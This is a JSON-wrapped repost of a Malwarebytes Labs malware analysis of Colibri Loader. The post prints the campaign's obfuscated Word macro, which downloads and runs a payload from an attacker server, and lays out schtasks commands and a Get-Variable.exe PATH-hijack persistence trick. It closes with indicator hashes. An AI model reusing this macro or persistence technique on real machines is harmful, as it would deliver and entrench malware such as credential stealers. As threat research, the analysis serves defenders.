{"id":18679,"date":"2022-04-05T11:10:10","date_gmt":"2022-04-05T19:10:10","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2022\/04\/05\/news-12412\/"},"modified":"2022-04-05T11:10:10","modified_gmt":"2022-04-05T19:10:10","slug":"news-12412","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2022\/04\/05\/news-12412\/","title":{"rendered":"Colibri Loader combines Task Scheduler and PowerShell in clever persistence technique"},"content":{"rendered":"<p><strong>Credit to Author: Threat Intelligence Team| Date: Tue, 05 Apr 2022 18:36:35 +0000<\/strong><\/p>\n<p><em>This blog post was authored by Ankur Saini, with contributions from Hossein Jazi and J\u00e9r\u00f4me Segura<\/em><\/p>\n<p>Colibri Loader is a relatively new piece of malware that first appeared on underground forums in August 2021 and was advertised to &#8220;<em>people who have large volumes of traffic and lack of time to work out the material<\/em>&#8220;. As it names suggests, it is meant to deliver and manage payloads onto infected computers.<\/p>\n<p>Our Threat Intelligence Team recently uncovered a new Colibri Loader campaign delivering the Vidar Stealer as final payload. There is already published material about Colibri by <a href=\"https:\/\/cloudsek.com\/in-depth-technical-analysis-of-colibri-loader-malware\/\" target=\"_blank\" rel=\"noreferrer noopener\">CloudSek<\/a> and <a href=\"https:\/\/fr3d.hk\/blog\/colibri-loader-back-to-basics\" target=\"_blank\" rel=\"noreferrer noopener\">independent researchers<\/a>. Since most of the details about the bot have been covered, we decided to highlight a persistence technique we haven&#8217;t seen before.<\/p>\n<h3>Campaign attack chain<\/h3>\n<p>The attack starts with a malicious Word document deploying Colibri bot that then delivers the Vidar Stealer. The document contacts a remote server at (securetunnel[.]co) to load a remote template named trkal0.dot that contacts a malicious macro. This attack is known as remote template injection.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM.png\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"55524\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-intelligence\/2022\/04\/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique\/attachment\/screenshot-2022-03-25-at-2-43-40-am-2\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM.png\" data-orig-size=\"1394,954\" data-comments-opened=\"0\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"Screenshot-2022-03-25-at-2.43.40-AM\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM-300x205.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM-600x411.png\" width=\"1394\" height=\"954\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM.png\" alt=\"\" class=\"wp-image-55524\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM.png 1394w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM-300x205.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/Screenshot-2022-03-25-at-2.43.40-AM-600x411.png 600w\" sizes=\"auto, (max-width: 1394px) 100vw, 1394px\" \/><\/a><\/figure>\n<\/div>\n<p>The macro enables PowerShell to download the final payload (Colibri Loader) as setup.exe:<\/p>\n<p><code>Private Sub Document_Open()<\/code><br \/><code>zgotwed = \"C:UsersPublicsetup.ex`e\"<\/code><br \/><code>n87lcy4 = Replace(\"new:72Cs19e4ts4D\", \"s19e4ts\", \"2\")<\/code><br \/><code>Set hu9v0dd = GetObject(n87lcy4 &amp; \"D5-D70A-438B-8A42-984\" &amp; CLng(\"1.8\") &amp; \"4B88AFB\" &amp; CInt(\"8.1\"))<\/code><br \/><code>hu9v0dd.exec \"cm\" &amp; \"d \/c powers^hell -w hi Start-BitsTransfer -Sou htt`ps:\/\/securetunnel .co\/connection\/setup.e`xe -Dest \" &amp; zgotwed &amp; \";\" &amp; zgotwed<\/code><br \/><code>End Sub<\/code><\/p>\n<h3>Abusing PowerShell for Persistence<\/h3>\n<p>Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%LocalMicrosoftWindowsApps and names it Get-Variable.exe for Windows 10 and above, while for lower versions it drops it in %DOCUMENTS%\/WindowsPowerShell named as dllhost.exe<\/p>\n<p>On Windows 7, it creates a scheduled task using the following command:<\/p>\n<ul>\n<li>schtasks.exe \/create \/tn COMSurrogate \/st 00:00 \/du 9999:59 \/sc once \/ri 1 \/f \/tr &#8220;<strong>C:UsersadminDocumentsWindowsPowerShelldllhost.exe<\/strong>&#8220;<\/li>\n<\/ul>\n<p>On Windows 10 and above, it creates a scheduled task using the following command:<\/p>\n<ul>\n<li>schtasks.exe \/create \/tn COMSurrogate \/st 00:00 \/du 9999:59 \/sc once \/ri 1 \/f \/tr &#8220;<strong>powershell.exe -windowstyle hidden<\/strong>&#8220;<\/li>\n<\/ul>\n<p>In the first scenario (Win7), we see a task pointing to the path of Colibri Loader. However, in the second we see an odd task to execute PowerShell with a hidden window. This is what we believe is a new persistence technique employed by the malware author.<\/p>\n<p>As mentioned earlier, it drops the file with the name Get-Variable.exe in the WindowsApps directory. It so happens that <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/microsoft.powershell.utility\/get-variable?view=powershell-7.2\" target=\"_blank\" rel=\"noreferrer noopener\">Get-Variable<\/a> is a valid PowerShell <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/scripting\/developer\/cmdlet\/cmdlet-overview?view=powershell-7.2\" target=\"_blank\" rel=\"noreferrer noopener\">cmdlet<\/a> (a cmdlet is a lightweight command used in the Windows PowerShell environment) which is used to retrieve the value of a variable in the current console.<\/p>\n<p>Additionally, WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.<\/p>\n<p>We reproduced this technique using the calculator to show how an adversary can easily achieve persistence combining a scheduled task and any payload (as long as it is called Get-Variable.exe and placed in the proper location):<\/p>\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/colibri_persistence.gif\" data-rel=\"lightbox-image-1\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img decoding=\"async\" data-attachment-id=\"55521\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-intelligence\/2022\/04\/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique\/attachment\/colibri_persistence\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/colibri_persistence.gif\" data-orig-size=\"726,578\" data-comments-opened=\"0\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"colibri_persistence\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/colibri_persistence-300x239.gif\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/colibri_persistence-600x478.gif\" loading=\"lazy\" width=\"726\" height=\"578\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/colibri_persistence.gif\" alt=\"\" class=\"wp-image-55521\" \/><\/a><\/figure>\n<p>A search on VirusTotal for the file name <em>Get-Variable.exe<\/em> indicates that the <a href=\"https:\/\/www.virustotal.com\/gui\/file\/6b74dc043f9a12823ed98d704e4c8543c9b5d8b9240e65e9d31d2303ab914906\" target=\"_blank\" rel=\"noreferrer noopener\">first malicious file<\/a> uploaded to the platform happened last August, which matches with the time that Colibri appeared on XSS underground forums. That sample has the same networking features as Colibri which helps us ascertain with more confidence that the technique was debuted by Colibri.<\/p>\n<h3>Conclusion<\/h3>\n<p>Colibri is still in its infancy but it already offers many features for attackers and slowly seems to be gaining popularity. The persistence technique we outlined in this blog is simple but efficient and does not appear to be known.<\/p>\n<p>Malwarebytes users are protected against this attack thanks to our Anti-Exploit layer:<\/p>\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block.png\" data-rel=\"lightbox-image-2\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img decoding=\"async\" data-attachment-id=\"55523\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-intelligence\/2022\/04\/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique\/attachment\/block-23\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block.png\" data-orig-size=\"842,676\" data-comments-opened=\"0\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"block\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block-300x241.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block-600x482.png\" loading=\"lazy\" width=\"842\" height=\"676\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block.png\" alt=\"\" class=\"wp-image-55523\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block.png 842w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block-300x241.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2022\/04\/block-600x482.png 600w\" sizes=\"auto, (max-width: 842px) 100vw, 842px\" \/><\/a><\/figure>\n<h3>IOCs<\/h3>\n<p><strong>Word Document<\/strong><\/p>\n<p>666268641a7db3b600a143fff00a063e77066ad72ac659ebc77bb5d1acd5633d<\/p>\n<p><strong>setup.exe<\/strong> (Colibri)<\/p>\n<p>54a790354dbe3ab90f7d8570d6fc7eb80c024af69d1db6d0f825c094293c5d77<\/p>\n<p><strong>install.exe<\/strong> (Vidar)<\/p>\n<p>b92f4b4684951ff2e5abdb1280e6bff80a14b83f25e4f3de39985f188d0f3aad<\/p>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-intelligence\/2022\/04\/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique\/\">Colibri Loader combines Task Scheduler and PowerShell in clever persistence technique<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/threat-intelligence\/2022\/04\/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique\/\" target=\"bwo\" >https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><strong>Credit to Author: Threat Intelligence Team| Date: Tue, 05 Apr 2022 18:36:35 +0000<\/strong><\/p>\n<p>We discovered an interesting trick used by Colibri Loader to survive reboots that takes advantage of a legitimate command in PowerShell.<\/p>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-intelligence\/2022\/04\/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique\/\">Colibri Loader combines Task Scheduler and PowerShell in clever persistence technique<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10488,10378],"tags":[25604,21940,11191,12040],"class_list":["post-18679","post","type-post","status-publish","format-standard","hentry","category-malwarebytes","category-security","tag-colibri","tag-loader","tag-powershell","tag-threat-intelligence"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/18679","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=18679"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/18679\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=18679"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=18679"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=18679"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}